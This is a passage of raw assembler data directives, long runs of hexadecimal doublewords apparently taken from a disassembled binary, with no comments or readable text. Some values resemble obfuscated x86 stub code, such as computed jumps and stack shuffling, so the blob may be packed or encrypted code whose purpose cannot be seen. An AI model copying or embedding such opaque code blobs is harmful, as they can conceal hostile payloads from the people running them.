1E2FAACCh, 6F7C2820h, 0B04B5470h dd 5F9A7FCAh, 0ACC2857Dh, 2AD611CBh, 7DAD827Fh, 0B06E39ADh dd 40D611CBh, 25B1BF33h, 1542645Ch, 91h, 35003218h, 0D611453Fh dd 7FB2AAB7h, 24F57D06h, 63D72A25h, 3E34FF31h, 0B6D61145h dd 41EEB1A9h, 31DC1467h, 0A62D2524h, 0F52769D5h, 1266C42Ah dd 0A79FACD0h, 4A491AA1h, 12655495h, 0A19EA7D0h, 35A172F9h dd 8F60E5F3h, 5F396497h, 588120EBh, 0C8D5DA18h, 794AD1C9h dd 0A371F705h, 524D4C1Dh, 910500FFh, 1C19A8C6h, 433B48DAh dd 9491708Eh, 6334BAC8h, 33CD386Bh, 20ADF4BFh, 1D2BD016h dd 20CCC495h, 0C919F13h, 9364EB3Bh, 7FA19994h, 24FC299Ch dd 7CDCE5B0h, 0EA1CDC1Bh, 1B72D11Fh, 9C94A1D0h, 0C8E4E3F0h dd 0FCE615BFh, 2018C673h, 4EC2931Ah, 1FACF045h, 0BFB7BCD0h dd 27F87F9Dh, 0FEB27328h, 0C06A01A9h, 635B2CB2h, 5CE38B88h dd 7A011F8Bh, 552C35A9h, 7CC26279h, 330EE44Dh, 0B90C8C05h dd 8A140CC1h, 0C5A4C2C1h, 0C89920C8h, 800C1A5Ch, 0C5BDB8B7h dd 0F36738BFh, 93925BE5h, 0E4EBA098h, 11h, 23F47A88h, 0B7DE2924h dd 237498DAh, 54905B53h, 4CD563Dh, 0B5860D05h, 6932BEB6h dd 1EE7726Ah, 0D1A2271Fh, 8455DAD2h, 3A038D85h, 0EABB433Bh dd 9C6DF3EBh, 89526F9Dh, 4C281E2h, 83000000h, 143304EAh dd 24143124h, 5C241433h, 81E68956h, 4C6h, 4EE8300h, 5C243487h dd 53240489h, 0C381E389h, 4, 4EB81h, 1C870000h, 34895C24h dd 0BF575324h, 55FF16FDh, 8102EFC1h, 605D99CFh, 2E7C13Dh dd 407FEF81h, 0E781234Ah, 52019DFh, 0D91DEF81h, 0FB89FA15h dd 5BD8895Fh, 8904EC83h, 4832424h, 835E0424h, 148904ECh dd 8BA24h, 0F2010000h, 0FF5A0289h, 815E2434h, 4C4h, 2434FF00h dd 4C48158h, 0E9000000h, 0FFF941B1h, 0C523EE97h, 59A77D5Fh dd 0B8A9C471h, 60A3BD1h, 0E0FFC503h, 7868547Fh, 73518FD9h dd 4D34EFCBh, 7E8AC57Fh, 37114214h, 3D46D520h, 3E145BC2h dd 6FE0C8F7h, 67332997h, 13F47D9h, 6E331733h, 1345B240h dd 4DC39E67h, 5793D4DAh, 63A1EC6Bh, 636937ADh, 7D756E4Eh dd 6A599CFFh, 1AB7984Eh, 5FBBDAB9h, 666023E7h, 4DC874FAh dd 1B85987Fh, 0A5ADB8Dh, 4C160DCDh, 0BE7C04EBh, 0C9E95843h dd 48000004h, 6C8AF6BFh, 8BA915E6h, 0A8C63203h, 0CBE9551Eh dd 4A097546h, 0E4B53AFEh, 6CF5A78h, 27F07C9Ah, 45169DBBh dd 5D28D4D9h, 0D01B7917h, 56BED1DFh, 0A87901CFh, 5C5BAEA9h dd 0A20EDF64h, 0B82CFD84h, 45B5BB86h, 303DD611h, 938B54E0h dd 8E5FE6DEh, 4011978Fh, 9066141h, 0DCA52F3Dh, 0E4EAE2DDh dd 42038F5Dh, 7FAE8561h, 2625789Ch, 0D9D8A92Eh, 0C4388BDEh dd 6A622BB6h, 0D59E2A48h, 0FDCE5361h, 39C5E305h, 0EE797170h dd 0B47FB125h, 0D61172BEh, 7C312936h, 0B6827F5Eh, 72BBB984h dd 2E3BD611h, 0DBA43036h, 0F9CA516Fh, 722A45FAh, 6A3FD611h dd 0D414DF6Dh, 5C1F5C39h, 6E000000h, 0FFFECF56h, 1145224Ah dd 737045D6h, 39E3EEE5h, 3904365Ch, 0D611493Bh, 4F63AEBBh dd 0D056DA52h, 186C1B9h, 0D5000000h, 0FFD056h, 0C5908208h dd 0D61145AFh, 0E8E73A47h, 299D66F0h, 0C6C5961Bh, 3D83F2D3h dd 36894682h, 4EA9893Eh, 5223A951h, 7041C8E6h, 9B64EEFCh dd 569E81A3h, 838C00D1h, 0AEA029F1h, 0B5ADBCh, 2CB48208h dd 0E615C5Bh, 579D689Ah, 1FD6110Ah, 6C3DC212h, 0C57A726Dh dd 0B35B5817h, 0D3F15D2Eh, 847C7B4Ch, 5B2C2BFCh, 8C57E5E2h dd 875C39AEh, 65h, 0D156D6h, 0B3810901h, 7E76728h, 3FEDC86Ah dd 0BA9A99ECh, 35BA625Fh, 67E7F064h, 7CDCEA36h, 0F7395B53h dd 9B9364E9h, 403F1095h, 0F6F5BE48h, 21AFAC25h, 5C39E7BAh dd 5D71h, 0D156C000h, 0D7E50100h, 81877F50h, 242D2CF5h dd 20521E1Bh, 11451F55h, 7ACAD7D6h, 242A22F3h, 4C5ACE9Fh dd 0DBFDF5C6h, 0DED056F8h, 1145DD13h, 3D8895D6h, 0F46BB8ACh dd 29287BC4h, 11427B74h dd 9C996ED6h, 6F38C2D0h, 36017570h, 0D6114238h, 0C7B3ABB8h dd 5C39E40Ch, 107h, 24325600h, 0D3D9D19Ah, 837B7A4Bh, 0E2C2BFCh dd 28A322Fh, 452F4510h, 7E49D611h, 0D6114570h, 0F0FDF300h dd 8F1B299Dh, 61ACCEC6h, 0DAE85C24h, 88838253h, 9C9B6690h dd 0D6DC1467h, 7A7942CCh, 352D2C7Fh, 5B69DDAEh, 0EC0E06CFh dd 777647CEh, 1266AAC2h, 955EE8D0h, 4B149E96h, 0E2DF9E4Ch dd 0B0BF613Fh, 3F92B295h, 0EE7886DEh, 0DB2B2625h, 0B5908851h dd 0B88910B8h, 74FC0A4Ch, 1EA5ABA3h, 44CBD94Dh, 7C698752h dd 0FC09D012h, 2CB2AAA9h, 5B10085Bh, 0C0BDC63h, 0D6A29F5Eh dd 7C9BD9A4h, 4E5BD012h, 0F8C95056h, 0DA43888Ch, 0E2CA5A3Ah dd 19000000h, 0B024FC29h, 4D4C1DA2h, 0FE305A52h, 0FC7B6DF5h dd 0DCAFF0E0h, 3290DBE0h, 0A972FC49h, 645CAFAAh, 144C96A1h dd 0D4D3E0DCh, 188455DCh, 0A3A273FAh, 648A5587h, 0CD0126Bh dd 57AA7B02h, 9D2595Fh, 4EEE3F27h, 7776C9B2h, 650D0AC9h dd 9DA10DDEh, 5A3ABF56h, 27DDh, 0F1292C00h, 34EAB529h dd 0BCD61145h, 0F5FBB0AFh, 63D61144h, 0B2E6BBB8h, 0F9A772E6h dd 79D61144h, 62D3006Ch, 0D6000000h, 0B024FC29h, 14674EE5h dd 1C1B28DCh, 60CC9D24h, 76EABB42h, 0AEC6AF6Dh, 201E2411h dd 0CDC2728h, 560B0368h, 126458A1h, 7039C4D0h, 20F17971h dd 0C1BE6921h, 0AFACB516h, 43AF8007h, 7FF38DF8h, 18A1A3B4h dd 0F0E1BDAh, 0C0BF9017h, 0FAC6C3A2h, 9C9465ECh, 0F0643C69h dd 16E2D225h, 137F8CD0h, 24FC2930h, 8292E5B0h, 3F4CDC1Bh dd 371B2440h, 0F3E22BEh, 9C232921h, 0BA415FCBh, 0B735EAE9h dd 0ED325182h, 66ED9592h, 840B2995h, 420D3FB3h, 0B245FA2Ch dd 0ABFB7C4h, 83F1BCEEh, 73B245FAh, 0FA747A45h, 0EFFCB245h dd 149EA49Ch, 0FB492C53h, 82D5A332h, 89866583h, 1D895AE1h dd 33A778FFh, 9F6D902Ah, 29AF56ADh, 0B5E5958h, 0E4A6CC97h dd 414EB245h, 38D9449h, 90000000h, 0CD563D54h, 860D0504h dd 32BEB6B5h, 0E7726A69h, 0A2271F1Eh, 55DAD2D1h, 38D8584h dd 0BB433B3Ah, 6DF3EBEAh, 506F9D9Ch, 0B951E089h, 4, 8359C801h dd 48704E8h, 89505C24h, 405E0h, 42D0000h, 87000000h, 895C2404h dd 89562414h, 4C681E6h, 81000000h, 4EEh, 24348700h, 242C895Ch dd 9C268h, 240C8900h, 0A3CF2B9h, 59CA8906h, 37EC68h, 24248900h dd 4240481h, 5D000000h, 5F3A68h, 24148900h, 8B08458Fh dd 8950242Ch, 405E0h, 0C0830000h, 24048704h, 24148B5Ch dd 5E08950h, 4, 405h, 24048700h, 3C73E95Ch, 58FCFFF9h dd 63D328A0h, 24F2E71h, 0D9098C67h, 0A411AB8h, 0FFC50306h dd 39408BE0h, 507F8559h, 0DA06AE29h, 0EDC94A66h, 8593440Ch dd 1EDB5E6Ch, 79A93A55h, 784DEA5Ah, 3F9D2A2Bh, 0F8C3B424h dd 0CB6631Eh, 0EE26057h, 0FAFBA23Dh, 6DB041Bh, 7A1ADF0Ch dd 0C28D8D26h, 8B060A42h, 0A58D89C1h, 89060320h, 306F9B5h dd 0A6BF6606h, 6585C7CCh, 9406031Ah, 81000073h, 901604C0h dd 7185C760h, 60300h, 0BB000000h, 7CF07F2Dh, 0EA9B5FFh dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0DF7337C3h, 2ED19D8Bh, 95FF0603h, 603171Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0DDC35242h dd 0EF1924AFh, 70A86539h, 19850Fh, 14E90000h, 15000000h dd 6B9FF2Fh, 2AC54487h, 83750CE5h, 0E19DB5BFh, 0E87A0C94h dd 5, 3B040E49h, 58D8971h, 5E06032Fh, 95FF006Ah, 60323A5h dd 5AEBC08Bh, 584FE41Bh, 55173A7Dh, 20993D20h, 0C9390BD1h dd 4A6FEBB6h, 4BF4414Bh, 760AE3Bh, 7301EB40h, 0E897C061h dd 0CF76CA2Ah, 20B69C08h, 1728D4D4h, 51973F73h, 89E31D86h dd 0F652A5D0h, 0EDDBB575h, 0E301FB96h, 0B4BB82CDh, 9EB5F692h dd 93245990h, 8A4C4B87h, 859856C1h, 4EB595Dh, 5AFA4308h dd 53AE9h, 30F98200h, 4F20A6C4h, 6C3DC5E3h, 8F58E200h dd 0AF800523h, 74388443h, 94B21EEFh, 0B6D44009h, 0D7F5612Ah dd 0E137F50h, 6599762h, 0B19D01Bh, 0FECF56F8h, 0B18207FFh dd 6D10345h, 0D61145E8h, 5DF98388h, 467241A8h, 6EF5FBF3h dd 1FA69E9Dh, 0D1574F4Eh, 0C6210100h, 0C99A21C9h, 99C24C55h dd 5555D651h, 911D3B5Dh, 0B23E5CC8h, 67F2EAE9h, 2DF82A9Eh dd 0D611BDC7h, 9157A2AFh, 41D080D9h, 0EC0ABFB7h, 6C92B5BEh dd 0E74DE0A1h, 4B1714EFh, 5D204E19h, 0C3D0D611h, 7039C5CBh dd 8E5FE604h, 7641738Fh, 0D6115D78h, 30F3EBF8h, 0D6115DC7h dd 0CA58552Ah, 5C39FB01h, 6A0Ch, 0CF565B00h, 224AFFFEh dd 70D61145h, 251D1CE5h, 794AD19Fh, 0EC472726h, 0F4C944EFh dd 0E36269F7h, 1A95C39h, 0F8000000h, 0FFD056h, 2CB48208h dd 0E615C5Bh, 0C78D170Fh, 1D1C6F40h, 0CFCE9F25h, 7F7E4FD7h dd 6A1512D1h, 32DAD732h, 8B54DEACh, 4009948Ch, 0A0F34641h dd 0BE8F1634h, 0C5B73C4Ah, 1145F4FAh, 1C6F7CD6h, 321F0224h dd 0B604BF29h, 0CAB93B56h, 35549EAh, 838981D4h, 33410CFEh dd 0C3D61188h, 486463B6h, 0DB19E416h, 9BD61188h, 8873818Eh dd 0CDAED611h, 47DAD29Fh, 625A675Dh, 8108D65Ch, 5D5C2DB3h dd 0BDBC0F62h, 0AB53500Fh, 0A7E95526h, 0E940E69Eh, 0C1A991AAh dd 0D27DC8C7h, 0DE69B98Eh, 231B1615h, 41C8961Dh, 23767170h dd 0D6A42C24h, 2DF6814Fh, 51387DAh, 0B2ADAC7Dh, 0B0ADB62h dd 92631810h, 558E1C19h, 0F15C39B0h, 89359E3h, 0F245403Fh dd 0C500F8F3h, 0A2h, 3D15614h, 5B24AE7Ch, 0BEB6B508h, 12E36836h dd 0D9A41813h, 0D611459Bh, 0FCFB4E5Bh, 0DC64721Ch, 3B38130Bh dd 10D6616Fh, 0C3BEBD86h, 7E767170h, 0B622F378h, 0C0451398h dd 819D9CEFh, 5BC3B478h, 0F77DA197h, 0F983D326h, 3E363130h dd 0E6E5AE38h, 0D39F9C15h, 62A3D5CAh, 4A9597B2h, 0F7BF3270h dd 2E1A12E5h, 5C394DB5h, 6780h, 0D156CF00h, 0DCE50100h dd 97B6CC59h, 1CED7308h, 0D7CF221Dh, 7D7C45D1h, 0A830FE85h dd 8D8584D7h, 30393801h, 1E7F2A27h, 0EB701815h, 93028422h dd 308389BCh, 0D056E1C4h, 0B2B7FF07h, 9A654F81h, 0D611C754h dd 69BC0F1Ch, 0C7BAB56Ah, 8BAFD611h, 0D924F57Dh, 0EBE80969h dd 8D686072h, 3BC90290h, 1445C39h, 93000000h, 0FEFDCE56h dd 0C28D7F06h, 0D61145ACh, 91EC3744h, 0AA4F9E3Ch, 0D8F6F548h dd 0CC54FCF9h, 0D9448FFBh, 3B00CB3Fh, 3BDC1453h, 0B0372F2Eh dd 178B5CE2h, 1212264Ch, 6EC1CED0h, 0C38EC002h, 0D01212ADh dd 3A403845h, 2EE3E2B3h, 0D01212C6h, 0FFC854h, 2AB67C08h dd 60F0E61h, 0F45500FDh, 0BF46EEEBh, 324082EEh, 0E1E7DFA8h dd 928A895Ah, 8D3B3A0Bh, 0A229D1CEh, 152365D1h, 0C8C3C28Bh dd 0B4EFE4D0h, 11265A3Ah, 75000001h, 0B024FC29h, 4F6640A7h dd 0C717FD10h, 7873723Bh, 0A08B5680h, 0CADC14CAh, 94A2BEBDh dd 4349410Ah, 3D7FEBBCh, 0F532400Bh, 0B5C2D012h, 3E30B7BDh dd 12F57D73h, 95E8F5D0h, 4E179E96h, 2879BFB6h, 895AE292h dd 0E93C8F8Ah, 807D3CEAh, 148051D8h, 3ADBDB10h, 48525Ah dd 29A10000h, 0EAB529F1h, 0D6114534h, 0FBB0AFBCh, 0D61144F5h dd 0E6BBB863h, 334DEEB2h, 0DC90DEA9h, 5360D611h, 0D8FED308h dd 0A4081185h dd 1B7D6B3Eh, 7D2FCF4h, 0D611EA59h, 1E60CCD9h, 0F82F2915h dd 3B33E554h, 6F26h, 0FC292900h, 4EE5B024h, 0AADC1467h dd 322723A1h, 159A9990h, 0F74A4544h, 474653FFh, 8BF7C84Fh dd 0A115E66Dh, 8DF28698h, 857D4AB6h, 57DE1BD0h, 242DD012h dd 27F87F27h, 6B3570BBh, 9AA12CF7h, 0C3CDDA18h, 18176A3Bh dd 9566EEFCh, 3F10979Dh, 46432240h, 777D487Ah, 0FFDA1C13h dd 0A09F70F5h, 275A52A5h, 0E3AE22FEh, 0D016DEEAh, 280B7784h dd 0D0992432h, 0A078A5D8h, 8874612Ch, 0F502DC1Bh, 0A677FEF6h dd 0C4951C3Ah, 133910C5h, 0A0FB350Bh, 0A374FBA3h, 60E7F537h dd 58FA7997h, 388B59BCh, 0E2B33A40h, 0CD5606Eh, 651A120Dh dd 1B1AE36Dh, 0CCC6CFFDh, 8AE24386h, 55522D25h, 26EF7B89h dd 0DCA52F27h, 48B9189h, 1294712h, 0C4C9B4EBh, 124980DAh dd 73C619D9h, 9162E907h, 38B92h, 548E0000h, 4CD563Dh, 0B5860D05h dd 6932BEB6h, 1EE7726Ah, 0D1A2271Fh, 8455DAD2h, 3A038D85h dd 0EABB433Bh, 9C6DF3EBh, 0D686F9Dh, 89000025h, 8957242Ch dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 241C895Ch, 5C9B68h dd 240C8900h, 0A432C68h, 241C8B06h, 4C481h, 21680000h dd 8900001Ch, 4812424h, 424h, 56535900h, 320530BEh, 2474297Bh dd 418F5E04h, 8418108h, 7B320530h, 592434FFh, 4C481h, 34FF0000h dd 0C4815B24h, 4, 0F935C0E9h, 0A12009FFh, 0B80C4F58h, 60A47EDh dd 0E0FFC503h, 334A9A54h, 41D776C3h, 7A548725h, 7B7BB931h dd 202BBC90h, 2BBDFB12h, 0EE3C4EBh, 20D6F1EBh, 77975842h dd 61776DD2h, 5711A4CBh, 0C0AC47Eh, 677C9063h, 48BC30B2h dd 0FD004EBh, 9FE95543h, 8000005h, 2C4AB67Fh, 4B69D5A6h dd 6886F2C3h, 8BA915DEh, 0AC93506h, 0A475FABEh, 0C68F1A38h dd 0E7B03C5Ah, 5D65D7Bh, 1DE89499h, 0D01B0DD7h, 567E919Fh dd 7FFFECFh, 0AFC59082h, 47D61145h, 5D7BE73Ah, 0E0605D6h dd 1042B687h, 11452F45h, 6FBAC7D6h, 10B2E3AFh, 6A1F17FEh dd 0A71BEC72h, 46450E99h, 0D9115F2Ah, 0D4E1D611h, 0F4D48981h dd 6DF49C99h, 0C74F159Fh, 0A9FCF7F6h, 0F05CAFAAh, 97D46D2h dd 0D9E60CD7h, 0A934D611h, 0E5DDEAE0h, 844F81C3h, 0D611D96Eh dd 0A576FC06h, 0C8545A52h, 7D0800FFh, 0B897B5B4h, 0BE8713BBh dd 274D184Ah, 0CFD611D9h, 6F6E3FC5h, 7292174h, 1D9162E9h dd 37BE840Fh, 1C141366h, 7A72C596h, 0D9E710C5h, 350AD611h dd 0CD636C38h, 0B775C61h, 9682F0BBh, 6572D611h, 6E37C212h dd 30418A76h, 0ABDD5C39h, 119A92E0h, 0B08108D6h, 0B6C0B6B1h dd 160E612Ah, 4EDBh, 24322A00h, 0D6D1D099h, 5F51D8DEh dd 0FDFCC551h, 45FFF502h, 6A77D611h, 0A95A317h, 0DF944941h dd 0D6114597h, 7A0805DAh, 5C39E371h, 1BCh, 0D0560B00h dd 820800FFh, 30BAB2B1h, 0DE886867h, 807849D0h, 7A00A8A5h dd 981F3DA9h, 56785BC7h, 838C00D1h, 906E3FA3h, 0EA9F97EEh dd 0A3D19CCEh, 53D611B0h, 0FA0004Eh, 0C5F7F58h, 0B7880E14h dd 4E4B0AB8h, 0E45021A6h, 6F6E3FC6h, 9921EF77h, 4AD6C9C8h dd 3C59C5EBh, 911D6DC0h, 7BCEC9C8h, 3532AB7Ch, 39273CA7h dd 6FFA085Ch, 8073AEA6h, 0C2000000h, 100D156h, 2BB38109h dd 4D880F5Ah, 67F06097h, 0C92A014h, 0F1413C3Bh, 0A09B9A6Bh dd 74FBF3A8h, 0BD88A4A3h, 0D611FEB7h, 57E2323Fh, 54AF8F8Eh dd 1974AC57h, 1EEF741Ch, 556770B2h, 5CFDDC23h, 0CF545A52h dd 40DC12DDh, 8794D611h, 0B33D3534h, 0A11AEBEAh, 0E4CD16A4h dd 6A485C39h, 97000000h, 100D156h, 0B5B47D09h, 0DAA6A3ACh dd 0F27A40CCh, 0D4272221h, 3231FA84h, 0B4393F37h, 329477E3h dd 51E24229h, 5E5642D7h, 201D258h, 834CD8E6h, 0CE918984h dd 0D6114CA5h, 2AF6F3C8h, 0F5FBC6F8h, 7DD6114Ch, 4C0D6370h dd 0D8E5D611h, 0EAFFF4E0h, 15475C39h, 1140244Ah, 74BFCCD6h dd 195E35D1h, 0CB06FE88h, 1, 0FDCE561Ah, 4DD4E2FEh, 4562905Bh dd 512D611h, 2DB4BAB2h, 113F5D5Ch, 45DE14DFh, 8996D611h dd 11B9B691h, 1244B889h, 11452947h, 37BFC9D6h, 196C6766h dd 49B4FF21h, 0CB703BAFh, 0ABDC1467h, 20A79F9Eh, 3EC5E34Fh dd 0BDB96E6Dh, 0DFD01267h, 938B8A53h, 61414009h, 99660906h dd 0A769654h, 949DFE51h, 9768EF97h, 0BD860D2Bh, 2E8D628Eh dd 9392E5CCh, 4443149Bh, 0EDAD796h, 0F1502205h, 6A6274DBh dd 0A00CDD64h, 3AD5579Ch, 160DE5Ah, 322D0000h, 0CFCE9F24h dd 7CA9DCD4h, 0D82730A4h, 74D2D7A6h, 48133D35h, 0DC14C2EFh dd 0A374FB09h, 5B1A9A4h, 7A01F9F8h, 981F3DA9h, 0C04553C7h dd 0FDF5F0EFh, 0F8C95048h, 8F8C4BF9h, 0FB8391C3h, 23302B2Ah dd 0D012F2CDh, 9AA098A5h, 9CCE4213h, 12F2A3D1h, 4E4653D0h dd 54A3282Ch, 6D7B5A3Ah, 0C42AF5E7h, 0ACD012FEh, 524D4C9Fh dd 0EF652007h, 0DDD54852h, 5EA2h, 0FC849200h, 2968332Bh dd 0FC431F1h, 984291CBh, 3BC3D145h, 1A19E26Dh, 0AAD4CC1Fh dd 13E46A78h, 0C9AA581Bh, 0FC2AD611h, 11C9C331h, 53A6B3D6h dd 0C8519F54h, 5C07D611h, 8D1E8A5Fh, 3F3A3902h, 0F7AD78ECh dd 1D611C8h, 0C8EE04CFh, 7C86D611h, 2D2827F0h, 2936E2DAh dd 8C90BDh, 29930000h, 0E5B024FCh, 0DC14674Eh, 241C1B28h dd 92E0AB9Dh, 62D01266h, 78960255h, 6C2120F1h, 0D012650Dh dd 0D078757Eh, 0D2047849h, 1261E907h, 847C89D0h, 12EE1762h dd 0D65E6C9Eh, 130B0605h, 18A9FF50h, 6B6A77DAh, 2FFAEC73h dd 0DA1C29C1h, 49E8CA5Ch, 0B0A65167h, 595150A3h, 0B0302D3h dd 0ABB4B384h, 84FAA5A2h, 0AAD3A8A5h, 0C14C5ACEh, 0BD600F8h dd 0D0161438h, 77B92532h, 0A7747A45h, 0CEFCC406h, 6A7ED03h dd 257885C4h, 2432622Dh, 0A6D9D19Ah, 0FB2DA17Fh, 0F9A68EDh dd 0F94C4746h, 0AC7D02FAh, 675FB2ADh, 1B8D93A4h, 0BFBECBDCh dd 0FB6F40C7h, 5D53D2F2h, 77EB4864h, 1B5746ACh, 29212ED0h dd 9162E907h, 942DDD92h, 0C672F50h, 0AB35430Fh, 87DE97E2h dd 0DE16DFB1h, 8859E0E6h, 0A677FE1Ch, 3F828BA7h, 8E57E3CAh dd 0F149948Fh, 60E838BAh, 9D95908Fh, 0D0440D97h, 776F38C2h dd 0C8C5A4C2h, 54C89920h, 75195722h, 0CCD98F42h, 0FBBB1481h dd 7B73039Ch, 0E3B43B59h, 12DDE4h, 32E00000h, 9E67F200h dd 5997A49Fh, 19D61145h, 0F50C140Ch, 504CD56h, 0B6B5860Dh dd 6A6932BEh, 1F1EE772h, 0D2D1A227h, 858455DAh, 3B3A038Dh dd 0EBEABB43h, 9D9C6DF3h, 4EC836Fh, 89240489h, 405E0h dd 0E8830000h, 24048704h, 79F4685Ch, 2C890000h, 45AC6824h dd 4890000h, 48B26824h, 2C8B060Ah, 4C48324h, 24048B54h dd 6804C483h, 275Eh, 8F242C89h, 48B0840h, 0E2895224h, 4C281h dd 0C2810000h, 4, 5C241487h, 5D2434FFh, 4C481h, 0DEE90000h dd 58FFF92Fh, 0C891E620h, 7438F5E8h, 0F82DCF41h, 0DCB8DD09h dd 3060A4Dh, 7FE0FFC5h, 496D4784h, 0F346411Fh, 0FF3E2D87h dd 5D43F9CDh, 5B78988Bh, 404626Bh, 3652276Eh, 0A963DCF3h dd 514250B2h, 0A0535AC5h, 2B11DF2Ch, 6A0CA732h, 820E33B0h dd 8219B9B5h, 0AA6CAAFDh, 6B33E9D5h, 0EB3E039Ch, 0DA13FF04h dd 540E93Ch, 76FF0000h, 9D2341ADh, 0BA4260CCh, 0D55F7DE9h dd 0FD82A00Ch, 0B501C02Ch, 2F9B6CF1h, 51BD8611h dd 72DEA733h, 90FCCD54h, 0DE14DF8Bh, 96D01B0Bh, 82081688h dd 0CB96B2B1h, 0D01B0BA5h, 0F5ED404Dh, 9D24322Ah, 28F17CCCh dd 30362E29h, 0E1D9D8A9h, 0DD1F8B5Ch, 777647CFh, 0D4A52C7Ch dd 7E4FD6DCh, 2F00877Fh, 0E1B23830h, 965FEAE2h, 491A9F97h dd 0EAE7924Ah, 96E9BA42h, 5E06035Eh, 0B67F09D7h, 4DD9F763h dd 6EFA1884h, 23AEA6A5h, 5E3D5B5Ah, 642DB961h, 0B984B6F8h dd 0D61145BBh, 30362E3Bh, 5664D8A9h, 5005FDCEh, 1145509Bh dd 0C3C095D6h, 39E3BE35h, 59755Ch, 32C40000h, 453F3500h dd 0AAB7D611h, 0C04D55Ah, 0AFAE7F06h, 1145F2FAh, 2320F5D6h dd 39E35E95h, 1D55Ch, 32240000h, 0ED03CE00h, 85D61145h dd 45056B78h, 0E3EDD611h, 918C8B5Ch, 0BA40463Eh, 6CF2EAE9h dd 1AA49C9Bh, 44CFDD51h, 0EECE837Bh, 68EE9693h, 860D2B97h dd 566649B5h, 5A8C00D1h, 1145618Fh, 7F0711D6h, 0AE635BAEh dd 605F30B6h, 0F09BA4B2h, 0E39BDF16h, 0AEAB867Eh, 8FE5B0E2h dd 67D6116Ch, 0D51BE65Ah, 9DD6116Ch, 0D929890h, 2BB2D03Ch dd 0D6DDE65Ah, 0D85E4518h, 2018CDC5h, 0D0C8C798h, 837B7A4Bh dd 0F2C736F7h, 69DCA248h, 971F1716h, 0E0BB6C6h, 0F0EDF66h dd 1F98C114h, 0C64F9422h, 8BC65C39h, 15000000h, 0D0992432h dd 7F4DD2D8h, 0D5A62EF4h, 14302F82h, 0D7E6D80Bh, 88807F89h dd 2A29FA82h, 0B92A04Ah, 48403B3Ah, 43C8706Dh, 0B6C40672h dd 10E1662Ch, 0CBC31611h, 834E40C5h, 0D611566Dh, 0E5530005h dd 3769D040h, 9A9291E4h, 0F3C44A10h, 66BEB47Fh, 2936D611h dd 8D06D7D6h, 2BB6C490h, 657E6A62h, 0B05C39C2h, 39h, 0D156FFh dd 0B47D0901h, 0A6A3ACB5h, 3CA879FEh, 5335F1FAh, 0C36A4C3Ch dd 616E844Fh, 0F906D611h, 0D0563601h, 204B00FFh, 45D61145h dd 0EEE57370h, 255C39E3h, 1, 0FDCE5674h, 981E8089h, 29077F05h dd 0D6D1D0A1h, 0DED68B83h, 69878657h, 81A323Bh, 0FF211825h dd 872F2C07h, 77C22EFFh, 21EA750Eh, 0CADC2722h, 5DA949E1h dd 8B990D60h, 133D3506h, 9F32D8E1h, 0C028D921h, 17F10875h dd 736BCB9Ch, 14768BB0h, 0DFDEEBDCh, 238F60E7h, 0AEAD7E05h dd 1271FDF9h, 0D2931FD0h, 949BBD8Ch, 29287B1Bh, 0DBDAAB31h dd 0F8A3A0FBh, 84363F97h, 58538B37h, 86835E56h, 5324ACBAh dd 5B615954h, 799703D4h, 9FAD21F2h, 524D4C15h, 26ADA55Ah dd 0E9A85655h, 331720ECh, 0F2301E54h, 92191F17h, 9A5155C1h dd 915A3A5Fh, 152h, 521D4F81h, 0D012F51Ch, 0B4BAC7D4h dd 3CD012F5h, 296C372Fh, 3A3803FCh, 0BAD61145h, 1BE65AADh dd 0DC145F10h, 324E4D5Ah, 5E3F3500h, 0AAB7D012h, 5425ACB2h dd 7543CAE8h, 282322EBh, 57DED6D5h, 1AD98786h, 0FCEE751Dh dd 125EC331h, 53A6B3D0h, 0FFE8E3E7h, 66235A3Ah, 13000000h dd 0D113C60Ah, 0DF2A5FE3h, 5F37C628h, 0E7B2AAA7h, 0B529F129h dd 68865183h, 0AED61145h, 5C575627h, 9E615966h, 0D61145E0h dd 0AF646370h, 0D6114541h, 20EB1D17h, 0D61145D2h, 0C29D95A2h dd 0F0B8F0C5h, 0B43C4A7Ch, 7A28EBE3h, 7CD61145h, 96228B73h dd 3DC5C3C5h, 1F726D6Ch, 0EC717B27h, 2F5CC81Bh, 92h, 9D243232h dd 0E6B1CDCCh, 0D6114588h, 10085B68h, 64D8A0DDh, 14679A99h dd 0D0CFDCDCh, 0FE8351D8h, 5866DA2Dh, 70201D2h, 64632CB7h dd 314F7169h, 25DAD9AAh, 0D01265C4h, 89312E37h, 83C53102h dd 61688651h, 0FB08D012h, 0CE55D003h, 20F17846h, 88D32621h dd 9D7C82B7h, 0AB1F723Fh, 180D76E0h, 0F2F1FEDAh, 0A3A273FAh dd 0DDA9A685h, 827A43CFh, 0D64AD64Fh, 167E010Bh, 4779ABD0h dd 979767Ch, 0E4F1FEC4h, 0C409798Eh, 0BEB4850Ch, 0DB9B1h dd 0FC29B194h, 6BE5B024h, 3DC1B93h, 0A9DBF7F6h, 1B0A90DEh dd 5B5360D0h, 91FDCE55h, 0A71BEC73h, 25CD3A9Eh, 0DDD5E4CEh dd 63547328h, 318C16EBh, 505F6834h, 45EBBF6Bh, 0A930362Eh dd 6291FDE0h, 3184FD83h, 4F20A7C5h, 63EBD2DBh, 932B8C34h dd 64EEE69Bh, 9F7E9C9Bh, 0BACDD6A2h, 1CED7481h, 75B7B6D1h dd 1FF0777Dh, 3D0E95B3h, 3373Eh, 543A0000h, 4CD563Dh, 0B5860D05h dd 6932BEB6h, 1EE7726Ah, 0D1A2271Fh, 8455DAD2h, 3A038D85h dd 0EABB433Bh, 9C6DF3EBh, 0A4686F9Dh, 89000037h, 8957243Ch dd 4C781E7h, 83000000h, 3C8704EFh, 4895C24h, 0E2895224h dd 4C281h, 0EA810000h, 4, 5C241487h, 57240C89h, 1401DABFh dd 4CCFB80Eh, 0F801F7F6h, 81243C8Bh, 4C4h, 0C8B5400h, 4C48324h dd 89C58955h, 2C8B0869h, 4C48124h, 0FF000000h, 81592434h dd 4C4h, 2434FF00h, 4C48158h, 0E9000000h, 0FFF92A41h, 1CC88515h dd 24CD2547h, 69B84287h, 3060A53h, 55E0FFC5h, 0B204ABB1h dd 605B2BAAh, 0DB47916Fh, 6E016D82h, 293B9A84h, 287C2EEAh dd 1256333Ch, 932114A3h, 0F54696BCh, 716671E7h, 286F3789h dd 0E86CC0C4h, 0Dh, 0EE097B14h, 0C03AEC9Dh, 0D93B6CB6h dd 1CB9661Fh, 0EE95F53h, 1000000h, 